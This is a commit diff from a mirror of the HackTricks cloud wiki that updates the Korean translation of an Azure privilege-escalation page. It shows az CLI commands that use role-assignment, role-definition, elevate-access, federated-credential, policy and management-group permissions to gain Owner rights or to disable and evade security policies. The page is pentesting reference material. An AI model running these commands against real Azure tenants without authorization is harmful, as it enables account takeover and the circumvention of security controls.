mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-12 15:50:19 -08:00
Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala
This commit is contained in:
@@ -12,16 +12,16 @@
|
||||
|
||||
### Microsoft.Authorization/roleAssignments/write
|
||||
|
||||
이 권한은 특정 범위에 대해 주체에게 역할을 할당할 수 있게 하여, 공격자가 자신에게 더 높은 권한의 역할을 할당함으로써 권한 상승을 할 수 있게 합니다:
|
||||
이 권한은 특정 scope 내에서 principals에게 roles를 할당할 수 있도록 허용하며, 공격자가 자신에게 더 높은 권한의 role을 할당하여 권한을 상승시킬 수 있게 합니다:
|
||||
```bash
|
||||
# Example
|
||||
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
|
||||
```
|
||||
### Microsoft.Authorization/roleDefinitions/Write
|
||||
|
||||
이 권한은 역할에 의해 부여된 권한을 수정할 수 있게 하여, 공격자가 자신이 할당한 역할에 더 많은 권한을 부여함으로써 권한 상승을 할 수 있게 합니다.
|
||||
이 권한은 role에 부여된 permissions를 수정할 수 있게 하여, attacker가 자신에게 할당된 role에 더 많은 permissions를 부여함으로써 escalate privileges할 수 있습니다.
|
||||
|
||||
다음 **내용**으로 `role.json` 파일을 생성하십시오:
|
||||
다음 **내용**으로 `role.json` 파일을 생성하세요:
|
||||
```json
|
||||
{
|
||||
"roleName": "<name of the role>",
|
||||
@@ -36,16 +36,16 @@ az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e55
|
||||
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>",
|
||||
}
|
||||
```
|
||||
그런 다음 이전 정의를 호출하여 역할 권한을 업데이트합니다:
|
||||
그런 다음 이전 정의를 호출하여 역할 권한을 업데이트하세요:
|
||||
```bash
|
||||
az role definition update --role-definition role.json
|
||||
```
|
||||
### Microsoft.Authorization/elevateAccess/action
|
||||
|
||||
이 권한은 권한을 상승시키고 Azure 리소스에 대한 권한을 모든 주체에게 할당할 수 있게 해줍니다. 이는 Entra ID Global Administrators에게 부여되어 Azure 리소스에 대한 권한을 관리할 수 있도록 설계되었습니다.
|
||||
이 권한은 권한을 상승시켜 Azure 리소스에 대해 어떤 principal(주체)에게든 권한을 할당할 수 있게 합니다. 이는 Entra ID Global Administrators에게 부여되어 Azure 리소스에 대한 권한도 함께 관리할 수 있도록 설계된 것입니다.
|
||||
|
||||
> [!TIP]
|
||||
> elevate 호출이 작동하려면 사용자가 Entra ID의 Global Administrator여야 한다고 생각합니다.
|
||||
> elevate 호출이 작동하려면 사용자가 Entrad ID에서 Global Administrator여야 하는 것으로 보입니다.
|
||||
```bash
|
||||
# Call elevate
|
||||
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
|
||||
@@ -55,9 +55,9 @@ az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
|
||||
```
|
||||
### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
|
||||
|
||||
이 권한은 관리되는 ID에 연합 자격 증명을 추가할 수 있게 해줍니다. 예를 들어, 관리되는 ID에 대한 리포지토리에서 Github Actions에 대한 액세스를 부여합니다. 그런 다음, **사용자가 정의한 관리되는 ID에 액세스할 수 있게 해줍니다**.
|
||||
이 권한은 managed identities에 Federated credentials를 추가할 수 있도록 허용합니다. 예: repo의 Github Actions에 managed identity에 대한 액세스 권한을 부여합니다. 그러면, **어떤 사용자 정의된 managed identity든 접근할 수 있습니다**.
|
||||
|
||||
관리되는 ID에 Github의 리포지토리에 대한 액세스를 부여하는 예제 명령:
|
||||
다음은 Github의 repo에 managed identity에 대한 액세스 권한을 부여하는 예제 명령입니다:
|
||||
```bash
|
||||
# Generic example:
|
||||
az rest --method PUT \
|
||||
@@ -71,4 +71,94 @@ az rest --method PUT \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
|
||||
```
|
||||
### Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete
|
||||
|
||||
`Microsoft.Authorization/policyAssignments/write` 또는 `Microsoft.Authorization/policyAssignments/delete` 권한을 management group, subscription, 또는 resource group에 대해 가진 공격자는 **Azure 정책 할당을 수정하거나 삭제할 수 있으며**, 잠재적으로 특정 작업을 차단하는 **보안 제한을 비활성화할 수 있습니다**.
|
||||
|
||||
이는 이전에 정책으로 보호되었던 리소스나 기능에 대한 접근을 허용합니다.
|
||||
|
||||
**정책 할당 삭제:**
|
||||
```bash
|
||||
az policy assignment delete \
|
||||
--name "<policyAssignmentName>" \
|
||||
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
|
||||
```
|
||||
**정책 할당 비활성화:**
|
||||
```bash
|
||||
az policy assignment update \
|
||||
--name "<policyAssignmentName>" \
|
||||
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>" \
|
||||
--enforcement-mode Disabled
|
||||
```
|
||||
**변경 사항을 확인하세요:**
|
||||
```bash
|
||||
# List policy assignments
|
||||
az policy assignment list \
|
||||
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
|
||||
|
||||
# Show specific policy assignment details
|
||||
az policy assignment show \
|
||||
--name "<policyAssignmentName>" \
|
||||
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
|
||||
```
|
||||
### Microsoft.Authorization/policyDefinitions/write
|
||||
|
||||
권한 `Microsoft.Authorization/policyDefinitions/write`를 가진 공격자는 **Azure policy definitions을 수정**하여 환경 전반의 보안 제한을 제어하는 규칙을 변경할 수 있습니다.
|
||||
|
||||
예를 들어, 리소스 생성 시 허용되는 지역을 제한하는 정책은 모든 지역을 허용하도록 수정될 수 있으며, 또는 정책의 효과를 변경하여 무력화할 수 있습니다.
|
||||
|
||||
**정책 정의 수정:**
|
||||
```bash
|
||||
az policy definition update \
|
||||
--name "<policyDefinitionName>" \
|
||||
--rules @updated-policy-rules.json
|
||||
```
|
||||
**변경 사항을 확인하세요:**
|
||||
```bash
|
||||
az policy definition list --output table
|
||||
|
||||
az policy definition show --name "<policyDefinitionName>"
|
||||
```
|
||||
### Microsoft.Management/managementGroups/write
|
||||
|
||||
`Microsoft.Management/managementGroups/write` 권한을 가진 공격자는 상위 레벨에 적용된 제한 정책을 회피하기 위해 **management groups의 계층 구조를 수정**하거나 **새 management group을 생성**할 수 있습니다.
|
||||
|
||||
예를 들어, 공격자는 제한 정책이 없는 새 management group을 생성한 다음 subscriptions를 해당 그룹으로 이동시킬 수 있습니다.
|
||||
|
||||
**새 management group 생성:**
|
||||
```bash
|
||||
az account management-group create \
|
||||
--name "yourMGname" \
|
||||
--display-name "yourMGDisplayName"
|
||||
```
|
||||
**관리 그룹 계층 구조 수정:**
|
||||
```bash
|
||||
az account management-group update \
|
||||
--name "<managementGroupId>" \
|
||||
--parent "/providers/Microsoft.Management/managementGroups/<parentGroupId>"
|
||||
```
|
||||
**변경 사항을 확인하세요:**
|
||||
```bash
|
||||
az account management-group list --output table
|
||||
|
||||
az account management-group show \
|
||||
--name "<managementGroupId>" \
|
||||
--expand
|
||||
```
|
||||
### Microsoft.Management/managementGroups/subscriptions/write
|
||||
|
||||
권한 `Microsoft.Management/managementGroups/subscriptions/write`을 가진 공격자는 **구독을 관리 그룹 간에 이동**시킬 수 있으며, 덜 제한적이거나 정책이 없는 그룹으로 구독을 옮겨 **제한적인 정책을 회피**할 수 있습니다.
|
||||
|
||||
**구독을 다른 관리 그룹으로 이동:**
|
||||
```bash
|
||||
az account management-group subscription add \
|
||||
--name "<managementGroupName>" \
|
||||
--subscription "<subscriptionId>"
|
||||
```
|
||||
**변경 사항을 확인하세요:**
|
||||
```bash
|
||||
az account management-group subscription show \
|
||||
--name "<managementGroupId>" \
|
||||
--subscription "<subscriptionId>"
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user